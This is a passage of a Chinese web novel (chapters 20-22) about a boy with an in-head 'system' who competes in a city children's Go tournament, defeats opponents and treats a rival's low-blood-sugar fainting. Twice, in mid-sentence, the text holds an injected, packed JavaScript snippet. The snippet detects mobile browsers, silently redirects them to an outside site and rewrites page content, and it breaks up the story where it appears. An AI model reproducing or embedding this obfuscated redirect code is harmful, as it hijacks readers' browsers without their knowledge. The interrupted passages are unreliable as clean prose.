几千?纪辰新狠狠慕了,这可是2005年的几千啊,即便是三千都抵二十年后的一万了。 之前那一整柜的玩具都没让他露出如此艳羡的神色,但此刻这份工作,纪辰新是真心动了。 苏陌也发现了这点,他试探道,“你问这个做什么?” 哪曾想,纪辰新满含希冀道,“你家还招人吗,我能不能来你家当佣人?” 这究竟是什么匪夷所思的事情?苏陌怀疑自己出现了幻听。 纪辰新还在问,“可以吗?” 苏陌意识到不是幻听,错愕在瞳孔溢出来,“不,不可以。” “啊,为什么,你别看我小,我会做的事可多了。”纪辰新掰着手指推荐自己,“我可以打扫卫生,或者让我看门也行,对了,还有.....” 苏陌想都没想直接打断了他,严肃道,“纪辰新!” 见过没出息的,没见过这么没出息的,今天算是开眼界了。 “还有九天就是市围棋赛了,你把比赛打好,比你当什么佣人都管用!” 纪辰新眼底的光晃了下,不死心道,“那....那我比完赛,再来你家应聘。” 苏陌瞳孔大颤:“你放弃吧,我不可能录用你的。” “啊!我知道了,你嫌我年纪小,担心雇佣童工犯法是不是?那这样,我先预定,等我长大了,你再雇佣我。”纪辰新拉住他的手诚恳的拜托道。 苏陌像看新物种一样注视他良久,眉头越蹙越紧,难以置信地打量他,似乎终于明白了什么叫怒其不争! 20. 第 20 章 接下来的几日,苏陌都以帮纪辰新找棋感的说词,得了空就找他对弈。 说什么与他对练,比看什么录像带都有用。 纪辰新都不想拆穿他,明明是他自己技痒,说的这么冠冕堂皇。 时间终于来到了比赛的前一天,纪辰新在家门前巷子外那条路上碰到了赵信。 赵信靠在车窗前,单手插兜,吸着烟。 纪辰新缓步走了过去,“什么事?” “我来确认一下,比赛的注意事项你都清楚了没。”赵信看起来心情不错,吞云吐雾。 纪辰新蹙眉,捂了下鼻,“差不多吧。” 赵信凝视了他一会儿,然后后知后觉地将烟丢地上碾灭了,“你和苏陌的关系很好?” 纪辰新不知道他想说什么,随意道,“这好像不关你的事。” “怎么瞅着你对我有敌意了?”赵信弯腰凑近他,“让我猜猜,是不是苏陌跟你说了什么?” 纪辰新脸色平静,“你觉得呢?” “啧,算了,不重要。”赵信直起身,偏了下头,“对了,上次给你报名都忘记跟你说了,市级比赛的报名费要50块钱。” 纪辰新怔了一瞬,突然笑了,“怎么?又要我还?” 赵新看他反应如此,也笑,“那你有钱吗?” “你说呢。”纪辰新虱子多了不怕痒,债多了更是不怕愁,“赵大老板两千块钱都舍了,50块却在这斤斤计较?” “哈哈哈哈哈,我发现跟你聊天很有意思。”赵信眼中透露出兴味,“你有时候根本不像一个十岁的小孩。” 纪辰新讪笑,“那是因为穷人的孩子早当家。” 赵信像是听进去般,抱手道,“等你拿到了第一,一切都会改变的。” “你似乎对我太过信任了。”纪辰新眯了眯眼,“是人都会有失误的时候,你怎么确定我就不会失误?” 赵信胸有成竹,“我不是信你,我是信自己的眼光,你猜我为什么叫赵信。” 纪辰新:“.......” “哈哈哈,跟你开玩笑。” “今晚早点睡,明天有场硬仗要打。”赵信的语气终于严肃了起来,“据我所知,目前我市符合条件的参赛人数有61人。” “单轮淘汰赛,一天就能分出胜负。” “这个强度之大,一定要保证充足的睡眠,养好精神。” “对了,你让你奶奶明天早上早些做好早餐,我明天早上七点半准时在这个巷子来接你。” 赵信说完,瞅着纪辰新不自然的神色,推测了一句,“你不会....难道你奶奶还不知道你参加了市围棋赛?” 纪辰新没说话,但他表情已经说明了一切,他确实还没跟奶奶讲。 “没事的,我有自己的考量,这些你都不用担心。” 赵信知他有主见,便也没再说什么,交代完他该交代的,他就离开了。 回去路上,纪辰新抬眼便与拐角处的肖椿撞上了视线。 “我不是故意偷听的。”肖椿语无伦次道,“我刚在逗小黑玩,不知道你在这....” 纪辰新表情放松,“没事,听到也没关系的。” 肖椿这才放下心来,他似乎想说什么,但又犹豫不敢说。 纪辰新走了过去,也逗了逗小黑,意有所指道,“你想问就问,别支支吾吾。” “那我问了。”肖椿挠了挠头,压低声音道,“你什么时候报名的市赛?” “有一个月了吧。”纪辰新神色淡淡。 肖椿“噢”了声,他本来有些在意纪辰新居然都没跟他提过,但转念又想到他连自己奶奶都没告诉,好像也没什么好计较的了。 每个人都有自己的秘密,既然他不想讲,勉强也没用。 “你能先帮我瞒住我奶奶吗?”纪辰新神色希冀地看着他。 肖椿不解,“为什么,你奶奶不喜欢你下围棋吗?” 纪辰新笑了笑,“这个,我也不知道。不过我奶奶好不容易因为我期中考的好开心没多久,若知道我逃课去搞别的,肯定会唠叨和担忧的。” “所以..最好的办法是,等一切都尘埃落定了,再告诉她。” * 晚上九点,纪辰新写完作业,三两下爬上了床逼迫自己入睡。 然而辗转反侧了半个小时,他都异常清醒。 夜空繁星点点,窗户没有窗帘,月光由此透了进来。 没来由的,纪辰新的视线不可避免的被墙角那一箱子的变形金刚吸引,这都是之前苏陌硬要送他的。 这么一箱子,他房间都没地方放,直接放角落里积灰。 这么想着,他身体不受控制地起身拿了一个把玩,金属的质感,冰凉的触感,在月光的照射下,还能看到光泽。 从小没被满足过的儿童心态,在此刻得到之后,好像也不过如此。 纪辰新释然笑了一下,这一刻,心绪终于平稳下来。 * 翌日,纪辰新醒来时,手里还握着一个变形金刚。 他瞥了一眼时间,七点,没睡过头。 李春兰正在厨房忙活,见纪辰新从房间出来,不由有些诧异,“小新,你今天怎么醒这么早?” 纪辰新刷着牙,模糊不清道,“学校有点事,得早点赶过去。” 老太太不疑有他,将卧好的鸡蛋放到了碗里,“本来早上想给你做饼的,既然赶时间,下碗面得了。” 纪辰新点头,“好。” 面是挂面,三分钟就熟了。 纪辰新吃面时,时间才七点过十分,他掐着点在二十五分出了门。 从巷子出来时正好七点半。 赵信接到他,调侃道,“刚刚好,多一分不多,少一分不少。” “走吧,上车。” 纪辰新坐上了后座,书包放下来后,便闭目养神。 赵信从后视镜看他,终是没打扰。 八点整的时候,赵信带着他来到了比赛场地。 纪辰新在车停的那刻,清明地睁开了眼。 下一秒,赵信拦住了他,“你若是还困的话,可以在我车上继续睡会儿,反正比赛还有一个小时才开始。” 纪辰新摇了摇头,“提前半个小时要进场,我先去熟悉赛场。” 说罢,他就下了车。 赛场举办地点在一所体育馆,这个时间已经有不少棋手已经抵达,基本每个人身边都陪同了一位或两位家长。 他们嘘寒问暖,有的甚至已经定制好了横幅预祝成功。 纪辰新站在人群里,形单影只到有些突出。 周围有不少人用异样的目光打量他,他并没放在心上。 直到,“纪辰新”三个字在身后响起,他猛地顿住了脚步,蓦然回头。 视线里,苏陌和赵言权俩人,一人插兜,一人挥手。 纪辰新感受到自己的心急速地跳动了一下,胸腔里像被什么填满,又软又胀,他咬了咬唇,语气艰涩,“你们怎么来了?” 初升的暖阳与苏陌脸上的冷感交织,他弯了弯嘴角,眸光盈动,“当然是来给某人加油的。” “谁啊?”纪辰新发出细碎的气息,故意道,“我认识吗?” “除了你还有谁!”赵言权抢答,手舞足蹈,气势骇人,“纪辰新,你一定要拿出全部的实力将他们打个落花流水!” 纪辰新含笑,心情松快了不少,“必须的,你就等着小爷的好消息吧!” 说罢,他惊疑道,“今天是周五,你们俩不上课吗?” 赵言权摆摆手,“八点四十五才上课,不急,等会儿再赶回去就是了。” “纪辰新!”突然,苏陌上前一步拉住了他的手腕,“这个你戴着。” “???”纪辰新看着手腕上突然被套上的珠子,“这是干嘛?” 苏陌低眸眼睫纤长,用随意的口吻道,“你下棋太快,容易无聊,送你把玩。” 纪辰新摩梭了一下,随后眼尖地发现珠子上刻了细小的字,‘旗开得胜’ 他顿时感觉有什么在心里轻轻蛰了一下,喉咙像被柔软的棉花堵住,不知道该说什么。 倒是赵言权瞪大了眼睛,恍然大悟,“好啊,苏陌,原来你今早提前两小时去寺庙,就是为了求这个啊。” 苏陌抬眼,无情地横了赵言权一眼,就好像在说,‘你不说话没人把你当哑巴。’ 赵言权秒意会,瞬间闭了嘴。 竟是这样?纪辰新感到有暖意流向了四肢百骸,胸口轻轻起伏,“苏陌,谢谢。” 苏陌僵了半秒,长睫遮住了他眼底的情绪,漫不经心地清了清嗓子,“我只是听人说,开过光的盘起来更舒服。” 瞧瞧,这说的是人话吗? 开过光的珠子盘起来更舒服他怎么不知道? 赵言权满心吐槽,他抿着唇,表情异常丰富。 待纪辰新进去后,赵言权终于忍不住了,“我的天,你什么时候信佛了,居然还求开过光的手串?” “难道你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074312|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怕他赢不了?” 赵言权越想越觉得荒谬,“根本就是多此一举,他连我们俩都能赢。” 多此一举吗?苏陌缄默着,他做事向来随心所欲,想到便做了。 至于为什么这么希望他赢,他给不出答案。 就像人饿了要吃饭,渴了要喝水,困了要睡觉一样,没必要深究,也没有理由。 * 纪辰新进入赛场后,先是进行了一轮搜身,随后便是签到。 最后他被人带到了一处电脑前,“纪辰新,你的编号是7,比赛前十分钟会随机匹配对手,去做准备吧。” 他点了点头,于是百无聊赖的开始环顾赛场。 体育馆的中间划分了很大一块区域,摆了大约三十副棋盘,纪辰新看到每张桌上都有两个计时器,模样确实与苏陌给他看到的录像带里的一样。 也就是此时此刻,他终于有了要比赛的实感。 时间一分一秒过去,陆陆续续大家都进了场,少儿围棋赛限制年龄在6-12岁,但场上真正6岁的也才一两个,大多数都是10岁或10岁以上,其中12岁的,纪辰新估摸着有四十几人。 系统科普:【围棋是非常耗脑力的一个项目,单它的复杂性就筛选掉了很多人。】 【所以,心智不够的话,是很难学成的,这也就解释了为何赛场上年龄小的这么少了。】 纪辰新随意找了个位置坐下,相比于其他人忐忑又紧张的状态,他算是非常淡定了。 只见他瘫在椅子上,翘着二郎腿,舒服的不行。 他这样子在不明所以的人眼中实在太过嚣张,已经有不少人用隐晦的目光打量他好几遍了。 赛场上工作人员大概有二十多人,各有各的分工,其中巡回裁判有六人,每人负责五桌棋局,进行监督和解决争议。 也正是这时,有人过来提醒道,“这位小朋友,这里不能坐噢。” “啊?”纪辰新一脸懵的起身,他眼神无辜极了。 提醒他的这位工作人员是位小姐姐,她含笑地指了指他身后的某块牌子,“这是主裁判的位置。” 纪辰新:“......” 他麻木起身,心里不由吐槽,【你说他们要求选手提前进入会场,却不给人安排休息室,是不是傻缺?】 他刚吐槽完,小姐姐又指了指不远处的一扇门,“小朋友,想休息的话,可以去那儿,那边是休息室。” “小朋友,你是不是不识字?” !!! 耻辱,这简直是奇耻大辱! 纪辰新的脸霎时就红到了脖子,他挽尊道,“那指示牌也太小了....没注意!” 一旁目睹全程的缺牙寸头小孩,直接捧腹大笑,“哈哈哈哈哈,你们快看,太逗了,他这样水平的人,到底是怎么混进来参赛的?” “怕是要第一个出局喽!” 然而,他很快就笑不出来了,裁判长一脸威严的走了进来。 他用简短的语言宣布了此次大赛的规则。 随后所有人顺着他的指示看向了大屏幕,投影仪上展示了所有人的编号。 主裁判一声令下,这些数字正在迅速地随机匹配。 终于,他喊了停。 于是,屏幕上所有排列的数字便就此定格了。 谁将与谁对决,一目了然。 大家聚精会神,交头接耳,眼中净是期待与兴奋。 突然,有人发出了错愕的声音,“怎么回事,怎么还有落单的,这个7号是谁?” 众目睽睽之下,落单的数字7就这样大咧咧地躺在了屏幕上,一如几分钟前的纪辰新。 “啊,7号没有对手吗?这种要怎么办?” “裁判,你快看,有人没有匹配对手!” 他们刚正不阿,以为纠到了错处! 有人补充道:“哎呀,你们刚刚都幻听了吗,主裁判说了,61个人参赛,是配不平的,所以落单的人直接轮空晋级!” “什么?” “卧槽!” “谁啊,谁啊,谁这么走运?” “不才,正是在下!”说话人备受瞩目,此刻嚣张地叉着腰,眼神倨傲地扫视所有人,“小爷我就是7号!” 尔等宵小见到吾,还不快速速跪下! 纪辰新往那一站就是权威,只见他肉眼可见的膨胀起来,不知何时站到了裁判桌上,小小的身影硬是站出了两米八的架势,睥睨众生道,“刚刚是谁说我会第一个出局的,啊?” 21. 第 21 章 刹那间。 空气死寂般的凝滞,所有人的动作或是声音都被面前这一幕震惊到戛然而止。 不难看出大家脸上的错愕,沉默在此刻震耳欲聋。 最先反应过来的是主裁判,他满头黑线的将纪辰新拎小鸡仔似的拎了下来,“7号纪辰新,知道你激动,但请不要这么激动,你低头瞅瞅,我的茶杯都差点被你踢翻了!” “做人还是低调点比较好,不然小心拉仇恨!” 这话倒不假,之前本就嘲笑纪辰新的缺牙小寸头,此刻单看表情就已经很不爽了。 纪辰新扯了扯衣角,撇撇嘴,微脏,“咳咳,各位,你们加油比,我就先去休息了。” 小寸头依旧没忍住,嘲讽道,“狗屎运罢了,侥幸撑过第一轮,第二轮照样淘汰!” 纪辰新顿时回头,阴阳道,“某些人啊,第一轮都不知道能不能撑过去呢,再说了,狗屎运怎么了,某人怕是连狗屎都吃不到!” 话糙理不糙,这一波嘲讽,伤害直接拉满! 小寸头都快气死了,“纪辰新是吧,你给我等着,我胡浪今日必淘汰你,说到做到!” 纪辰新欠揍一笑,“啧啧啧,小爷我等着呢,希望第二轮比赛还能见到你!” 胡浪瞅着他那狂妄的背影,不甘地使劲跺了跺脚,哪知纪辰新背后像是装了眼睛似的精准回头,看到他气急败坏的样子,然后得意的吐着舌头,做鬼脸,“略略略略~” 他那表情就像在说,‘你能拿我怎么样?’ 啊啊啊啊啊啊,胡浪这下气的更狠了! 系统无奈:【宿主,你幼不幼稚啊?】 纪辰新上瘾玩上了,【略略略略略~】 系统沉默了好一会儿,突然,【....../(ㄒoㄒ)/~~】 无人知晓的空间,一人一统正在进行诡异的交流..... 四十分钟转眼过去,纪辰新在休息室人都躺麻了。 当他听到人群细簌嘈杂的声音时,出去就发现参赛选手已经淘汰了一半。 “纪辰新,让你失望了,我还在!”胡浪像个鬼一样,突然出现在他身旁。 他咧着嘴一脸得意,“下一轮你可没有这么好的运气了。” 纪辰新来了兴趣,勾唇道,“是吗,那我们就等着瞧,。” “哼。”胡浪下巴扬起,倨傲非常。 赛后有二十分钟的休息时间,这一来二去,纪辰新休息了差不多一个小时,总算把昨晚和今早的觉都补足了。 第二轮开始时,纪辰新狠狠伸了伸懒腰,不远处的裁判长依照流程再次当面对着投影仪喊了停。 然而,令小寸头胡浪失望的是,第二轮他并没匹配到纪辰新。 不过....很快他的眼神又亮了起来,阿金居然匹配到了,“阿金,你等下千万别手下留情,一定要杀他个片甲不留!” 黎上金戴了顶鸭舌帽,帽檐盖住了他的眉眼,看不到表情。 倒是胡浪一个劲挑衅道,“纪辰新,你完了,你对上阿金了,我们阿金可是打遍十里八乡无敌手的存在!” 十里八乡? 阿金? 谁啊? 纪辰新一脸问号,却也根本没放在眼里,难道再厉害还能厉害的过苏陌? 系统:【那自然是不能。】 见纪辰新还是一副不在意的模样,胡浪抓耳挠腮的浑身不得劲,“你难道不知道黎上金吗,你没听说过他的战绩?” 纪辰新朝他翻了个白眼,然后举手,“裁判,可以让他闭嘴吧,他太吵了,影响到我的状态了。” 主裁判是一个四十多岁的中年男人,哪怕只是安静坐着,但透着一股自带的威严。 只见他眉头微蹙,眼神像淬了冰,冷神道,“肃静!若有扰乱别人比赛的,一律扣除二十积分!” 这话一出,非常有警示的作用。 胡浪没想到纪辰新居然拿裁判对付他,一时张嘴也不是,不张嘴也不是。 积分是很重要的,每个人初始积分为0,每赢一场加10,所以即便没拿到前一二名,其他淘汰人员若想要参加省赛还可以通过参加积分赛获取进入省赛的名额。 有了裁判的恐吓,耳边终于清净了。 第二轮比赛也终于正式开始了。 纪辰新按序入座,大概过了一分钟,胡浪口中那个被吹的天花乱坠的黎上金,依旧戴着鸭舌帽,只见他不轻不慢地走过来,然后不言不语的坐在了纪辰新的对面。 他帽檐压的极低,只能看到下巴略略清晰的轮廓,12岁的少年,下颌角初具雏形的线条绷的紧紧的。 纪辰新内心不由吐出几个字:这也太装逼了吧! 【系统,比赛还能戴帽子的?】 系统:【可以啊,只要不作弊,奇装异服都接受,满足个人习惯。】 纪辰新:【......】 主裁判在宣布比赛开始后,黎上金从棋盘里抓了几颗棋子,这便是要猜先了。 纪辰新随意拎出一颗棋子丢在了棋盘上,他这无理的态度却也没引得对面的黎上金有丝毫的波动,甚至都没抬眼。 纪辰新不由觉得没劲,【这不会比完,我都不知道他长啥样吧。】 系统:【额....不好说。】 黎上金将手中的棋子摊开,是双。 纪辰新做出“请”的姿势,黎上金执黑先行。 然而下一秒,一颗黑棋直直落在了棋盘的最中心,天元! 纪辰新愣了愣,这还是他接触围棋以来,有人上来就这样开局的。 系统:【看来他对自己的实力有绝对的自信啊。】 纪辰新:【怎么说?】 系统:【天元在围棋中占据重要地位,但也需要极强的中腹掌控力,一旦玩脱了,就会迅速败北。】 纪辰新:【啧,我就说他装逼吧!】 黎上金落完子就按下了计时器,等纪辰新应对。 系统:【没事,咱们先把角部占了。】 这下,不用系统说,纪辰新就自己落子了,几个角他还是知道的。 轮到黎上金时,他也抢了一个角。 于是,纪辰新再抢一个角,黎上金又抢一个。 纪辰新:【总感觉他下棋有套路。】 系统:【你猜的没错,他是想以天元为中心,兼顾角边,然后再以中部势力对你进行绞杀。】 纪辰新悟了,【但我们一开始就没上他的当,既不攻他的天元,又抢占了边角。】 系统:【其实只猜对了一部分,其一,他想引你攻击他的天元子,然后忽视角边,最后他来抢占。其二,若你不攻击,他便跟你抢占角边,最后以天元作为中转站,与这些棋子搭线,反过来压缩你的边角空间。其三,等他搭完线,在中腹发生战斗时,他的天元子能快速支援,最后切断你棋子之间的联络。】 纪辰新感觉自己要长脑子了,他头脑风暴了一会儿,举一反三道,【反正我们已经抢了几个角了,他再想构建中腹势力,咱们就围追堵截,让他的天元子孤立无援,最后让他所有的计划或是后招都报废!】 系统顿了顿,【是这样没错!】 纪辰新唇角一勾:【我好像知道下一步该下哪了。】 说罢,没待系统开口,纪辰新便开始抢边,他看着右上角星位和天元之间的距离,然后在边部落子,切断了它们的联系。 他这一步下的,连系统都挑不出错。 纪辰新按下了计时器,【嘿嘿,他的计谋已经被我看穿,看他怎么办。】 系统沉默了,它知道宿主只看过一本二手的围棋入门书,更多的也就是,平常跟人对决时,它时不时给他讲解的一些知识点。 但它没想到,在这种东拼西凑的情况下,宿主竟有种无师自通的恐怖感。 然而,纪辰新下了几步之后就原形毕露了,【快,后面该怎么下?】 系统左顾而言他,甚至有些兴奋,【宿主,你在围棋上其实是有天赋的,甚至可能不比苏陌差,你要不要试试自己下?】 纪辰新瞪大了眼睛,惊愕开口,【我自己下?你在开什么玩笑?想让我淘汰请直说!】 系统劝:【怎么会,你刚刚下的那几子是正确的。】 【你也说是刚刚了,那是我灵光一闪,我现在已经不知道如何下了。】纪辰新非常自觉。 系统恍然,思索了片刻道,【那看来是缺少掌控全局的能力。】 【没事,只要你之后好好学,坚持训练,慢慢提高棋力,一定能成的!】 纪辰新想都没想就拒绝了,【算了吧,不是有你在吗,况且我又不喜欢下棋,你别搞我!】 黎上金见对面思索良久,不由轻微抬了下帽檐,只见对面的男孩脸庞婴儿肥尚未完全消散,下巴带着孩童特有的圆润,他抿着唇,眼神似在放空,不知道神游到哪里去了。 他轻咳了一声,手指在桌上叩了两下。 其实他可以不提醒的,若是对方在规定时间内超时,后面很可能被判负。 但这小家伙几次三番打断他的计划,还长的这么可爱,实在是出人意料,他还想再陪他玩会儿。 纪辰新被对面弄出的声响抽回了思绪。 系统也没再劝他,专注棋盘道,【五之二。】 纪辰新捏着棋子便落了下去。 几息之后,黎上金便痛苦面具上身了,他想收回陪纪辰新再玩会儿的脑残 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074313|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想法,这小孩明明看起来比他都小,但下起棋来心狠手辣,步步紧逼,快要让他完全没活路了。 纪辰新淡淡扫视棋局,下一秒棋子便在他脑海自成一张网,他好像只要略微思索,便能觉察出每一步的思路,甚至能推演一到两步的落子。 他不愿承认自己有围棋方面的天赋,只是突然想印证一下系统的说法罢了。 任务而已,能顺利完成就行,没必要这么努力不是吗? 他撑着下巴,有一下没一下地把玩着手腕上的珠子,语气漫不经心,“别白费力气了,你已经输了。” 帽檐遮住了黎上金的眉眼,目光直视过去只能看到他紧咬着唇似在做最后的挣扎。 “我没输!” 说罢,他又落了一子。 纪辰新微微挑眉,随后伸手点在了一处位置,“你还不如下在这呢,如此还能与我周璇一二。” 黎上金神色大震,久久凝视棋盘,下巴微微抖动。 他终于正视了这个事实,他输了,没有任何侥幸,实打实的输给了这个小他两岁的小孩。 纪辰新既疏离又礼貌,“承让了。” 巡回裁判过来记录了胜负,“纪辰新中盘胜。” 黎上金牢牢坐在位置上,没有要离开是意思,他为这次的市赛准备了很久很久,此刻别说前三了,居然中途就淘汰了,一时之间难以接受。 巡回裁判提醒道,“59号黎上金,你可以离开赛场了。” 黎上金突然抬头,“积分赛是什么时候?” 帽檐下的脸终于漏了出来,纪辰新就在他对面,猝不及防地望了过去。 然,他瞳孔微颤了一瞬,便移开了视线。 因为,黎上金是独眼。 “后天。”巡回裁判回答他。 “好。”黎上金扯动脸上的皮笑了下,一丝苦涩似有若无地萦绕在他的右眼中。 系统:【终于搜到了,黎上金,原书里面短暂出现过的角色,他的左眼是在他五岁的时候,被人贩子拐走时挣扎抵抗伤到的,也是因为伤了眼睛,后来转让不出去,人贩子就对他没那么上心了,最后是他自己侥幸逃出来的。】 【他这次来参赛跟宿主你最开始的初衷是一样的,他想拿到第三名的800奖金,他被拐的那一年,本就积劳成疾的父亲,悲伤过度,去世了。】 【现在家里就剩一个有些智障的母亲和一个身体不太好的奶奶。】 【他为了这次的比赛,没日没夜的练习了很久。】 【看来现在市赛泡汤了,他还想通过积分赛试试省赛呢,毕竟只要进入了省半决赛,即便没有拿到名次,也有200的安慰奖金。】 【咦,不对,怎么会?这不是全部的内容,我再搜搜看。】 纪辰新沉默着,没说话。 系统似有所感:【宿主,你在可怜他?】 纪辰新不带感情的否认,【可怜?我有什么资格可怜他?】 系统顿了顿,直言道,【你的情绪出现了波动。】 【或许你也看出来了,他的实力若不是现在碰到你,说不定真能如愿夺得市第三名。】 【你在懊恼自己赢的名不副实!】 纪辰新嘴角略带嘲意,【你以为你很了解我吗?】 【我怎么会懊恼,是他自己技不如人,怪不得我。】 系统纠正:【他是技不如电脑,不是不如你!】 霎时,纪辰新语气玩味,【系统,你不能既要又要吧,任务我接了,棋也都是按照你的提示下的,你还有什么不满足?】 与此同时,胡浪赢完对局得意忘形地跑了过来,欠揍道,“纪辰新你脸色这么难看,输给阿金了是不是,我就知道,哈哈哈哈!” 他几乎笃定自己的猜想,越说越来劲,“真是老天有眼啊,让你嚣张,这下翻车了吧!” 纪辰新本来就烦,出口成章,“滚!” 胡浪被他一激,直接就怒了,正要跟他讨教讨教,黎上金顿时起身,“是我输了,阿浪,别挑衅了,即便是你也赢不了他的。” “什么?”胡浪脑子差点炸了,他不愿相信,“你?黎上金?输了?” 巡回裁判严肃阻止,“26号胡浪,声音小点,你打扰到其他人比赛了。” “黎上金,你想参加积分赛的话,出去直走到底的红房子那里可以报名。” 巡回裁判都这么说了,胡浪再不相信此刻也不得不信了。 纪辰新欣赏着他傻掉的表情,上前一步,笑的散漫又恶劣,“胡浪!你现在该祈祷了,祈祷下一轮千万别碰到我!” 他的笑意蔓延,充斥着整张脸,尾音裹着戏谑,像根小刺似的,不痛不痒,却偏扎的人心里发堵! 22. 第 22 章 第二轮比完后,纪辰新去到了休息室阖眼闭目。 至于那个叫胡浪的,终于不上蹿下跳了,他看着似乎受到了打击,独自呆在一个角落蜷缩着。 临近第三轮比赛时,突然听见有人大喊。 “有人晕倒了,快来人啊!” 系统先他一步反应,【宿主,是那个叫胡浪的。】 纪辰新蹙眉睁眼,有被打扰的不悦,很快他的眸光就瞥向了不远处失去了意识的人。 紧接着他便起身移步走了过去,此刻胡浪的四周陆陆续续围了一圈人过来。 纪辰新挤进人群,映入眼帘的就是胡狼紧闭双眼,脸色苍白,细看之下,额头冒着冷汗,四肢还不自主的抽动着。 这种症状.... 很像低血糖! 他经历过,所以一眼便瞧出来了。 工作人员也第一时间赶到,探查一番,一时不好做决定。 “这....” “这要喊医护人员来。” 另一个工作人员看这情况不对,立马跑去了隔壁找医护,大型比赛都是有配备医护人员的,就怕选手出现压力过大昏倒的情况。 只不过现在是休息时间,医护人员也在休息。 纪辰新笃定道:“是低血糖,谁带了吃的,给他弄点吃的。” “什么吃的都行,谁有?” “请问,棒棒糖可以吗?”一位扎着马尾的小女孩小心翼翼地从兜里掏出一根粉红色的糖。 纪辰新眼睛一亮,接过,“可以的。” 工作人员还在尝试唤醒胡浪,“小朋友,小朋友?” “小朋友,你快醒醒!” 工作人员狐疑地看着撕开棒棒糖包装纸的纪辰新,“你....?” 纪辰新捏着糖,看出了他的谨慎,“你不信我没关系,但你将糖递到他嘴边,让他含一下,这没有影响的。” 密集的说话声,令胡浪隐隐有了点意识,但他眼皮沉重,一时睁不开。 也正是这时,一个美味的甜滋滋的东西塞到了他嘴里,舌尖细细品尝,让他血液渐渐活跃了起来。 好甜...胡浪不自觉吞咽,死死咬住了糖棍,努力攫取生机。 没一会儿,耳边传来冷漠又熟悉的说话声,那声音说,“咬住了,我松手了。” 说罢,他便真的松手了,胡浪脑袋昏昏沉沉,终于眼皮轻动,逐渐清醒过来。 同时,耳边充斥着各种各样的声音。 “还好醒过来了,真可怕。” “低血糖是什么,为什么纪辰新一眼就看出来了。” “我也不知道,就这样塞个糖,就活过来了,真神奇。” “之前俩人还吵那么厉害,没想到纪辰新会救他。” 终于,医护人员被工作人员紧急从睡梦中拉了过来,气喘吁吁地查看胡浪的状况,很快下了判定,“是低血糖!小朋友你感觉怎么样?” 胡浪含着棒棒糖,意识已经差不多都回来了,就是还得再歇歇,“挺好的,是不是马上要比赛了?” 他最担心的莫过于这个。 工作人员看了眼时间,道,“还有几分钟,你别急。” 医生从兜里拿出一个随身携带的面包,“你应该是早上没吃早饭对不对?” 胡浪愣愣点头,他咬着棒棒糖,脑海里不由自主回荡着那个冷漠又熟悉的声音,是谁? 刚刚他们说纪辰新救了他? 所以救他的人是纪辰新? 嘴里的糖是他塞的吗? 胡浪的目光下意识环顾四周,却没见到印象中那个嚣张至极的身影。 这边,主裁判得知现场选手情况,当即做了个决定,将比赛推迟二十分钟进行。 没一会儿,医护人员又去取了葡萄糖水过来,“小朋友,你喝点这个。” 就这样,胡浪一边含着棒棒糖,一边又喝着葡萄糖,一边又嚼着面包,可把他的嘴忙坏了。 工作人员:“等比完第三轮,就可以吃午饭了,赛场是包午餐的。” “刚刚真是多亏了7号选手纪辰新,他反应好快,一下就知道了你的病症所在,你嘴里的糖就是他塞的。” 原来真是他! 胡浪神色复杂了一瞬。 十分钟后,周围的人员都四散开了。 胡浪终于看到了不远处正闭目养神的人,他无法形容自己内心有多的纠结,只见他掰了掰手指,最终还是起身,缓缓朝那个身影走了过去。 直到他在他面前站定,纪辰新都没睁眼。 胡浪咬了咬牙道,“那个....刚刚谢谢你,还有对不起。” 他鼓起勇气,声音细弱如蚊,却始终低着头,不敢看纪辰新。 他发现自己之前太狭隘了,本就是自己嘲笑人家在先,结果还总挑衅人家,甚至抓着人家不放。 他自省自己的性格,太过不饶人! 他和黎上金虽然都是小县城出来的,但他跟黎上金不同,他家境还算不错,又是父母老来得子,全家人都宠着他,所以在家一直都是要风得风,要雨得雨,即便在外,家里人更是不会让他受一点委屈,这也就造成了他心高气傲,得理不饶人的性格。 纪辰新始终闭着眼,他当然听到了胡浪的道谢和道歉,但不代表自己要接受。 原本就是胡浪挑衅在先,而他不计前嫌救他,是源于自己做人的根本,与这个人是谁无关,换一个人,他也还是会救的。 系统:【宿主,你是怎么一眼就判断出他是低血糖的?】 纪辰新没回答,从小吃不饱穿不暖的记忆一幕幕涌上心头,低血糖反倒是其中最小的一个问题! 至于胡浪,一看就是习惯问题,从小饮食不规律导致的。 “纪辰新...我知道你听到了。”胡浪苍白的脸色转红,“你不原谅我也没关系,总归是我的错。” 说着,他便转身,知道自己不该再叨扰。 纪辰新微微眯了下眸子,最终还是没搭理他,人总要为自己的言行付出代价,不是吗。 第三轮比赛在十分钟后,顺利开始了。 胡浪依旧没有与纪辰新对上,但此刻的他很庆幸,他已经对纪辰新没了敌意,如若对上,复杂情绪裹挟着他,他会感到非常不安。 纪辰新看着对面这个刚刚给他递糖的小女孩,嘴角向下压了压,“你先吧。” 小女孩名叫汤小贝,她很守规矩,“我们还是猜先吧,你千万别让我,我这个人很骄傲的。” 纪辰新喉咙一哽,“嗯。” 汤小贝的棋艺比不上黎上金,在纪辰新短短十分钟的围攻下,很快败下阵来。 但她也和黎上金一样,拥有一股不服输的劲,执着的不愿认输。 纪辰新就这样陪着她耗,直到汤小贝的时间都耗尽了,裁判过来给她判了超时负。 